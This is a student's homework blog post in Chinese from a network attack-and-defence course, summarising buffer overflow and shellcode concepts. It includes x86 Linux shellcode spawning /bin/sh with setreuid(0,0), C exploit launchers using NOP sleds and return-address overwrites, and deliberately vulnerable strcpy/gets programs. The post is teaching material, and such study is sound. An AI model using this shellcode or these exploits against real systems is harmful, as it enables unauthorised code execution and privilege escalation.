20199109 2019-2020-2 《网络攻防实践》第十周作业

软件安全攻防——缓冲区溢出和shellcode

总体结构

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10723
这个作业在哪个具体方面帮助我实现目标 学习缓冲区溢出和shellcode相关知识
作业正文.. 见一和二

一、课堂知识点总结

(一)软件安全概述

1、软件安全漏洞威胁

  • 安全漏洞的定义:在系统安全流程、设计、实现或内部控制中存在的缺陷或弱点,能被攻击者所利用并导致安全侵害或对系统安全策略的违反
  • 软件安全漏洞定义:在软件的需求规范、开发阶段和配置过程中引入的缺陷实例,其执行会违反安全策略。

2、软件安全困境

  • 困境三要素:复杂性、可扩展性、连通性
    • 复杂性:软件规模越来越大,越来越复杂,也就意味着软件的bug会越来越多。
    • 可扩展性:攻击者可能以不可预测的扩展方式来入侵软件和系统,且可扩展性软件的的安全分析要比分析一个完全不能更改的软件要困难得多。
    • 连通性:高度的连通性使小小的缺陷可能影响非常大的范围。网络的连通性使得不需要人为干涉的自动化攻击成为可能。

3、软件安全漏洞类型

从技术上主要包括:

  • 内存安全违规类:在软件开发时在处理RAM内存访问时引入的安全缺陷。
    • 缓冲区溢出漏洞:最基础的内存安全问题
    • 不安全指针:计算机程序中存在的并没有指向适当类型对象的非法指针。
  • 输入验证类:软件程序在对用户输入进行数据验证存在的错误,没有保证输入数据的正确性、合法性和安全性,从而导致可能被恶意攻击与利用。
    • 格式化字符串漏洞
    • SQL注入、代码注入、XSS、HTTP Header注入等web应用程序漏洞
  • 竞争条件类:处理进程的输出或者结果无法预测,并依赖于其他进程事件发生的次序或时间时导致的错误。
    • TOCTTOU漏洞:检查时刻和使用时刻条件状态不一致
    • 符号链接竞争问题:程序以不安全的方式创建文件所导致
  • 权限混淆与提升类:滥用权限,或赋予第三方不该给予的权限
    • FTP反弹攻击
    • 权限提升漏洞
    • “越狱”

(二)缓冲区溢出基础概念

1、基本概念

  • 是一类内存安全违规类漏洞。
  • 计算机程序向特定缓冲区填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。

2、背景知识

  • 编译器与调试器的使用

    • 最常用的C/C++编程语言,最著名编译与连接器为GCC,最基本用法是执行“gcc -c test.c”命令进行编译,生成test.o,然后执行“gcc –o test test.o”进行连接,生成test可执行程序,可以使用“gcc test.c –o test”同时完成编译和连接过程。
    • 类unix平台进行程序的调试经常使用GDB调试器。GDB调试器提供程序断点管理、执行控制、信息查看等多种类型的功能指令。
  • 汇编语言基础知识

    • 在intel32位汇编语言中,常用的寄存器可分为四类:通用寄存器、段寄存器、控制寄存器和其他寄存器。具体寄存器名称和用途这篇文章里说的很细https://blog.csdn.net/hbrqlpf/article/details/3142003
      • 通用寄存器主要用于普通的算术运算,保存数据、地址、偏移量、计数值等。
      • 段寄存器在IA32构架中是16位的,一般用作段基址寄存器。
      • 控制寄存器用来控制处理器的执行流程。
      • 其他寄存器中值得关注的是“扩展标志”eflags寄存器,由不同的标志位组成,用于保存指令执行后的状态和控制指令执行流程的标志信息。
    • 在IA32构架汇编语言中,又分为Intel和AT&T两种具有很多差异的汇编格式。在类UNIX平台下,通常使用AT&T汇编格式,而在DOS/Windows平台下,则主要使用Intel汇编格式。
  • 进程内存管理

    • Linux操作系统:程序在执行时,系统在内存中会为程序创建一个虚拟的内存地址空间,在32位机上即4GB的空间大小,用于映射物理内存,并保存程序的指令和数据。操作系统将可执行程序加载到新创建的内存空间中,程序一般包含.text、.bss和.data三种类型的段。加载完成后,系统为程序初始化“栈”和“堆”。程序执行时,按照程序逻辑执行.text中的指令,在“栈”和“堆”中保存和读取数据。
    • Windows操作系统的进程内存空间2GB-4GB为内核态地址空间,用于映射Windows内核代码和一些核心态DLL,并用于存储一些内核态对象,0GB-2GB为用户态地址空间。
  • 函数调用过程

    • 栈是一种最基本的LIFO后进先出抽象数据结构,主要被用于实现程序中的函数或过程调用,在栈中会保存函数的调用参数、返回地址、调用者栈基址、函数本地局部变量等数据。
    • 在IA32构架寄存器中,两个与栈密切相关的寄存器为ebp和esp,分别保存当前运行函数的栈底地址和栈顶地址,而两个密切相关的指令为push和pop,分别是将数据压入栈,及将栈顶数据弹出至特定寄存器。
    • 程序进行函数调用的过程有如下三个步骤:
      • 调用:将参数和下一条指令地址入栈并跳转到函数入口地址
      • 序言:对调用函数的栈基址入栈保存,创建函数自身栈结构等
      • 返回:恢复调用者栈顶栈底指针,执行下一条指令

3、缓冲区溢出攻击原理

  • 缓冲区溢出漏洞根据缓冲区在进程内存空间中的位置不同,分为栈溢出、堆溢出和内核溢出

    • 栈溢出:存储在栈上的一些缓冲区变量由于存在缺乏边界保护问题,能够被溢出并修改站上的敏感信息,从而导致程序流程的改变。
    • 堆溢出:存储在堆上的缓冲区变量缺乏边界保护所遭受溢出攻击的安全问题
    • 内核溢出:存在于一些内核模块或程序,是由于进程内存空间内核态中存储的缓冲区变量被溢出造成的
  • 下面举一个栈溢出安全漏洞的例子

#include <stdio.h>

void return_input(void){
    char array[30];
    gets(array);
    printf("%s\n", array);
}

int main (void){
    return_input();
    return 0;
}
  • 在上述代码中定义了一个局部变量array,为30字节的字符串缓冲区。函数局部变量被存储在栈上,并位于main()函数调用时压栈的下一条指令,即return 0,返回地址之下,而在return_input()函数中执行gets函数将用户终端输入至array缓冲区时,没有进行缓冲区边界检查和保护。如果用户输入超过30字节,数据将会溢出array缓冲区,从而覆盖array缓冲区上方的EBP和RET,就会造成程序的段错误。

  • 接下来我们看看如何构建成功的栈溢出攻击

#include <stdio.h>
#include <string.h>
char shellcode[]=
// setreuid(0,0);
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xb0\x46" // mov $0x46,%al
"\xcd\x80" // int $0x80
// execve /bin/sh
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
"\x50" // push %eax
"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80
// exit();
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80"; // int $0x80


char large_string[128];
int main(int argc, char **argv){
	char buffer[96];
	int i;
	long *long_ptr = (long *) large_string;
	for (i = 0; i < 32; i++)
		*(long_ptr + i) = (int) buffer;
	for (i = 0; i < (int) strlen(shellcode); i++)
		large_string[i] = shellcode[i];
	strcpy(buffer, large_string);
	return 0;
}
  • 攻击的核心在于两个长度不相等的字符串,攻击者构造一个large_string长度是128字节,局部变量buffer长度为96字节。其中两者之差的32字节就是攻击代码的位置。在上文进行strcpy()的过程中,我们将128字节的长度复制到96字节的长度中,其次我们要知道main函数中的临时变量被分配在栈中,这样溢出的buffer数组就会覆盖到函数返回值。在main函数执行返回的时候,EIP寄存器就会装载RET的值,进而跳转到我们shellcode指定的位置,在上文中就是调用execve(/bin/sh)启动一个命令行shell程序。

(三)Linux平台上的栈溢出与shellcode

1、Linux平台栈溢出攻击技术

  • Linux平台中的栈溢出攻击按照攻击数据的构造方式不同,主要有NSR、RNS和RS三种模式
  • NSR模式:主要适用于被溢出的缓冲区变量比较大,足以容纳Shellcode的情况,其攻击数据从低地址到高地址的构造方式是一堆Nop指令之后填充Shellcode,再加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR攻击数据缓冲区。
  • 下面的代码是具有栈溢出漏洞的程序,我们将采用NSR模式进行攻击分析。这段程序的漏洞非常明显,在进行strcpy字符串拷贝函数的时候并没有进行长度的校验,很容易造成栈溢出。
#include <stdio.h> 
int main(int argc,char **argv){ 
   char buf[500]; 
   strcpy(buf,argv[1]); 
   printf("buf's 0x%8x\n",&buf); 
   getchar();
   return 0; 
} 
  • 接下来给出攻击代码,攻击程序的核心在于调用时传入的buffer变量,原程序定义的buffer长度为500,可是在攻击程序里面长度是1056,在这里首先填充了nopNum长度的0x90(就是我们通常说的着陆区),接下来就是memcpy上shellcode,最后就是四个字节的返回地址了。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] =
"\x31\xc0"              /* xor %eax, %eax       */
"\x50"                  /* push %eax            */
"\x68\x2f\x2f\x73\x68"  /* push $0x68732f2f     */
"\x68\x2f\x62\x69\x6e"  /* push $0x6e69622f     */
"\x89\xe3"              /* mov  %esp,%ebx       */
"\x50"                  /* push %eax            */
"\x53"                  /* push %ebx            */
"\x89\xe1"              /* mov  %esp,%ecx       */
"\x31\xd2"              /* xor  %edx,%edx       */
"\xb0\x0b"              /* mov  $0xb,%al        */
"\xcd\x80";             /* int  $0x80           */

#define BSIZE 1056
#define RET 0xbfffdaf0

int main(int argc,char **argv)
{
	int bsize=BSIZE;
	unsigned long retaddr=RET;
	int nopNum = bsize-strlen(shellcode)-100;
	if(argc>1) bsize=atoi(argv[1]);
	if(argc>2) retaddr=atoi(argv[2]);
	if(argc>3) nopNum=atoi(argv[3]);
	char* buffer=(char *)malloc(sizeof(char)*bsize);
	int i;
	for(i=0;i<bsize;i+=4)
		*(long *)&buffer[i]=retaddr;
	for(i=0;i<nopNum;i++)
		*(long*)&buffer[i]=0x90;
	memcpy(buffer+i,shellcode,strlen(shellcode));
	execl("chat","chat",buffer,NULL);
	return 0;
}
  • RNS模式:一般用于被溢出的变量比较小,不足于容纳Shellcode的情况。
  • 下面的代码同样是具有缓冲区溢出漏洞的代码,与上面NSR模式不同的地方在于缓冲区的长度很小。
#include <stdio.h> 
int main(int argc,char **argv){ 
   char buf[10]; 
   strcpy(buf,argv[1]); 
   printf("buf's 0x%8x\n",&buf); 
   getchar();
   return 0; 
} 
  • 下面是攻击代码。这里给buffer的空间全部填充了Nop,接着就是返回地址了,这里返回的地址是我们shellcode的地址,所以最后经过着陆区之后通过跳转到我们的shellcode执行地址来进行shellcode代码的执行。
#include<stdio.h> 
#include<stdlib.h> 
#include<string.h> 
char *shellcode;
int main(int argc,char **argv){ 
   char buf[500]; 
   unsigned long ret,p; 
   int i; 
   p=&buf; 
   ret=p+70; 
   memset(buf,0x90,sizeof(buf)); 
   for(i=0;i<44;i+=4) 
      *(long *)&buf[i]=ret; 
   memcpy(buf+400+i,shellcode,strlen(shellcode)); 
   execl("chat","chat",buf,NULL); 
   return 0; 
} 
  • RS模式:能够精确地定位出Shellcode在目标漏洞程序进程空间中的起始地址,因此也就无需引入Nop空指令构建“着陆区”。这种模式是将Shellcode放置在目标漏洞程序执行时的环境变量中,由于环境变量是位于Linux进程空间的栈底位置,因而不会受到各种变量内存分配与对齐因素的影响,其位置是固定的。可以通过如下公式进行计算:
ret=0xc0000000-sizeof(void*)-sizeof(FILENAME)-sizeof(Shellcode)

  • 漏洞代码与RNS模式相同,攻击代码如下。这个程序首先就是计算返回地址,然后用'A'(0x41)进行填充,这里只是为了让他溢出,然后引入shellcode的返回地址,让漏洞程序跳转到shellcode进行执行。
#include<stdio.h> 
#include<stdlib.h> 
#include<string.h> 
char *shellcode; 

int main(int argc,char **argv){ 
   char buf[32]; 
   char *p[]={"chat",buf,NULL}; 
   char *env[]={"HOME=/root",shellcode,NULL}; 
   unsigned long ret; 
   ret=0xc0000000-strlen(shellcode)-strlen("chat")-sizeof(void *); 
   memset(buf,0x41,sizeof(buf)); 
   memcpy(&buf[28],&ret,4); 
   printf("ret is at 0x%8x\n",ret); 
   execve("chat", "chat", buf, env); 
   return 0; 
} 
  • Linux平台上的远程栈溢出攻击:原理与本地栈溢出是一样的,区别在于用户输入传递的途径不同,以及Shellcode的编写方式不同。本地栈溢出的用户输入途径主要为argv命令行输入、文件输入等,而远程栈溢出攻击的用户输入传递途径则是通过网络,存在远程栈溢出漏洞往往是一些网络服务进程或网络应用程序。NSR和RNS模式也都适用于远程栈溢出,使用场景也主要取决于被溢出的目标缓冲区大小是否足够容纳Shellcode。

2、Linux平台的shellcode实现技术

Shellcode就是符合Intel 32位指令规范的一串CPU指令,被用于溢出之后改变系统正常流程,转而执行Shellcode以完成渗透测试者的攻击目的,通常是为他提供一个访问系统的本地或远程命令行访问。

  • Linux本地shellcode实现机制:
    Linux系统本地Shellcode通常提供的功能就是为攻击者启动一个命令行Shell。
    Shellcode的通用方法:
    • 先用高级编程语言,通常用C,来编写Shellcode程序;
    • 编译并反汇编调试这个Shellcode程序;
    • 从汇编语言代码级别分析程序执行流程;
    • 整理生成的汇编代码,尽量减小它的体积并使它可注入,并可通过嵌入C语言进行运行测试和调试;
    • 提取汇编代码所对应的opcode二进制指令,创建Shellcode指令数组。
  • Linux远程shellcode实现机制:
    ​ - 原理与本地一致,通过执行一系列的系统调用来完成指定的功能。实现方法步骤也是首先给出高级语言的功能代码实现,然后通过反汇编调试编译后的二进制程序,特权、优化和整理所获得的汇编代码,并最终产生opcode二进制指令代码。
    • Linux远程Shellcode需要让攻击目标程序创建socket监听指定的端口等待客户端连接,启动一个命令行Shell,并将命令行的输入输出与socket绑定,这样攻击者就可以通过socket客户端连接目标程序所在初级的开放端口,与服务端socket建立起通信通道,并获得Shell。在Linux系统中,dup2()函数能够将标准输入输出与socket的网络通信通道进行绑定,使得socket的远程输入连接至命令行标准输入,将命令行标准输出连接至远程网络输出,因而完成远程Shell的功能。

(四)Windows平台上的栈溢出与shellcode

1、Windows平台栈溢出与攻击技术

  • windows平台栈溢出攻击技术机理(和Linux的差异)
    • 对程序运行过程中废弃栈的处理方式差异:当一个函数调用完成返回至调用者,执行下一条指令之前,Windows平台会向废弃栈中写入一些随机的数据,而Linux则不进行任何的处理。
    • 进程内存空间的布局差异:Linux进程内存空间中栈底指针在0xc0000000之下,即一般栈中变量的位置都在0xbfff地址附近,在这些地址中没有空字节。Windows平台的栈位置处于0x00FFFFFF以下的用户内存空间,一般为0x0012地址附近,而这些内存地址的首字节均为0x00空字节。
    • 系统功能调用的实现方式差异:Linux系统中通过“int 80”中断处理来调用系统功能,而Windows系统则是通过操作系统中更为复杂的API及内核处理例程调用链来完成系统功能调用,对应用程序直接可见的是应用层中如kernel32.dll、User32.dll等系统动态链接库中导出的一些系统API接口函数。

2、Windows平台shellcode实现技术

  • 为了使Windows中的shellcode能够调用操作系统功能以完成攻击目标,并在期望注入的不同目标程序中正常运行,我们需考虑以下问题:
    • shellcode必须可以找到所需的Windows 32 API函数,并生成函数调用表
    • 为使用API函数,shellcode必须找出目标程序已加载的函数地址
    • shellcode需考虑消除空字节,以避免在字符串操作函数中被截断
    • shellcode需确保自己可以正常退出,并使原来的目标程序进程继续运行或终止
    • 在目标系统环境存在异常处理和安全防护机制时,shellcode需进一步考虑如何对抗这些机制。
  • Windows本地shellcode
    • 典型的本地Shellcode同样也是启动一个命令行Shell,即command.comcmd.exe
    • Windows32系统API中提供了一个system()函数调用,可以用于启动指定程序或运行特定命令,在调用system("command.com")之后即可启动命令行程序。
  • Windows远程shellcode
    Windows远程Shellcode的大致过程如下:
    ​ - 创建一个服务器端socket,并在指定的端口上监听;
    ​ - 通过accept()接受客户端的网络连接;
    ​ - 创建子进程,运行“cmd.exe”,启动命令行;
    ​ - 创建两个管道,命令管道将服务器端socket接收(recv)到的客户端通过网络输入的执行命令,连接至cmd.exe的标准输入;然后输出管道将cmd.exe的标准输出连接至服务器端socket的发送(send),通过网络将运行结果反馈给客户端。

(五)堆溢出攻击

  • 堆中没有可以直接覆盖并修改指令寄存器指针的返回地址,往往需要利用在堆中一些会影响程序执行流程的关键变量。

  • 函数指针改写:要求被溢出的缓冲区临近全局函数指针存储地址,且在其低地址方向上。

    • 在向缓冲区填充数据时,如果没有边界控制和判断的话,缓冲区溢出就会自然的覆盖函数指针所在的内存区,从而改写函数指针的指向地址,则程序在使用这个函数指针调用原先的期望函数的时候就会转而执行shellcode。
  • C++类对象虚函数表改写

    • C++类通过虚函数提供了一种Late bingding运行时绑定机制,编译器为每个虚函数的类建立起虚函数表、存放虚函数的地址,并在每个类对象的内存区中放入一个指向虚函数表的指针。
  • Linux下堆管理glibc库free()函数本身漏洞

    • Linux操作系统的堆管理是通过glibc库来实现的。堆内存管理的算法称为dlmalloc,它实现的glibc库中的内存块结构使用了被称为Bin的双向循环链表来保存内存空闲块的信息。
    • glibc库中的free()函数在内存回收的过程中,需要将已经释放的空闲块和与之相邻的空闲块进行合并。通过精心构造空闲块,在空闲块合并的过程中,将会发生位置覆盖。

(六)缓冲区溢出攻击的防御技术

  • 尝试杜绝缓冲区溢出的防御技术
    • 解决缓冲区溢出攻击最根本的方法是编写正确的、不存在缓冲区溢出安全漏洞的软件代码,但由于C/C++语言作为效率优先的语言,很容易就会出现缓冲区溢出。
    • 尝试一些高级的查错程序,通过Fuzz注入测试来寻找程序漏洞,但是这不能找到所有的漏洞
    • 或者通过在编译器上引入针对缓冲区的边界检查保护机制。
  • 允许溢出但不让程序改变运行流程的防御技术
    • 这种防御技术允许溢出发生,但对可能影响到程序流程的关键数据结构实施严密的安全保护,不让程序改变其执行流程,从而阻断溢出攻击。
  • 无法让攻代码执行的防御技术
    • 这种防御技术通过堆栈不可执行限制来防御缓冲区溢出攻击。
    • 例如引入对基于硬件NX保护机制、linux平台的PaX堆栈不可指行内核补丁,等等。

二、实践总结

这章作业虽然老师没要求实践,但是原理以及代码真的看得人头大,好多好乱根本记不住。这几天不舒服脑子跟进了浆糊一样,等过一阵清醒之后再来把博客写一写,毕竟这些知识还是要学的。

posted @ 2020-05-05 16:24  黄雅婷  阅读(228)  评论(0编辑  收藏  举报